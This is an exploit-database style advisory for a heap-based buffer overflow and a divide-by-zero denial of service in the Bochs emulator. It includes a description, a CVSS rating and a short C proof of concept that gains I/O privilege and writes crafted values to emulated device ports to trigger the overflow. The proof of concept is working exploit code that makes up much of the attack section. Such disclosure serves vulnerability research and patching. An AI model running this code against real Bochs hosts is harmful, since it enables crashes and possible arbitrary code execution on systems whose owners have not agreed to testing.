Heap-based Buffer Overflow and Denial-of-Service in Bochs

vendor:

Bochs

by:

7.5

CVSS

HIGH

Heap-based Buffer Overflow, Denial-of-Service

122

CWE

Product Name: Bochs

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Heap-based Buffer Overflow and Denial-of-Service in Bochs

Bochs is prone to a heap-based buffer-overflow issue and a denial-of-service issue. The buffer-overflow issue occurs because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. The denial-of-service vulnerability is caused by a divide-by-zero operation. A local attacker can exploit these issues to execute arbitrary code in the context of the affected application or to cause denial-of-service conditions. Failed exploit attempts of the buffer-overflow vulnerability will also result in denial-of-service conditions.

Mitigation:

It is recommended to update to the latest version of Bochs to mitigate these vulnerabilities.

Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/24246/info

Bochs is prone to a heap-based buffer-overflow issue and a denial-of-service issue. The buffer-overflow issue occurs because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. The denial-of-service vulnerability is caused by a divide-by-zero operation.

A local attacker can exploit these issues to execute arbitrary code in the context of the affected application or to cause denial-of-service conditions. Failed exploit attempts of the buffer-overflow vulnerability will also result in denial-of-service conditions. 

#include <sys/io.h>

       int main(int argc, char **argv) {
       iopl(3);
       outw(0x5292, 0x24c);
       outw(0xffff, 0x245);(a)
       outw(0x1ffb, 0x24e);
       outb(0x76, 0x241);
       outb(0x7b, 0x240);
       outw(0x79c4, 0x247);
       outw(0x59e6, 0x240);
       return 0;
                     }

(a) <- TXCNT is inserted here.